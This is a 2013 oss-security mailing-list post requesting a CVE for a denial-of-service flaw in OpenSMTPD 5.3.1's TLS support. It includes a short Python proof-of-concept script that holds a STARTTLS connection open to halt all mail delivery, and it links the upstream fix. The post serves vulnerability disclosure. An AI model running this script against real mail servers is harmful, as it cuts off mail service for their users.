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Date: Sat, 18 May 2013 16:27:22 +0200
From: "Jason A. Donenfeld" <Jason@...c4.com>
To: oss-security <oss-security@...ts.openwall.com>
Cc: misc@...nsmtpd.org
Subject: CVE Request: DoS in OpenSMTPD TLS Support

Hi Kurt,

The SSL handling in the latest OpenSMTPD (5.3.1) misconfigures its
sockets in blocking mode, allowing an attacker to prevent all mail
delivery simply by holding a socket open.

I discovered this accidentally, as I noticed my HP printer's smtp
client would keep the connection indefinitely open after an
unsuccessful authentication attempt, causing no more mail to be
delivered until I SIGKILL'd my smtpd process or unplugged my printer.

The following reproduces the attack trivially:

    #!/usr/bin/env python2
    import smtplib
    import time
    print "[+] Connecting to server and initiating TLS"
    smtp = smtplib.SMTP("mail.some-vitim-host.blah", 587)
    smtp.starttls()
    print "[+] No clients will be able to connect as long as this remains open."
    time.sleep(100000000)

Apparently this was fixed recently upstream, noting "evil client" in
the commit message:
http://git.zx2c4.com/OpenSMTPD/commit/?id=38b26921bad5fe24ad747bf9d591330d683728b0

A snapshot has been posted to http://www.opensmtpd.org/archives/ , but
no patch release has yet been made.

Jason

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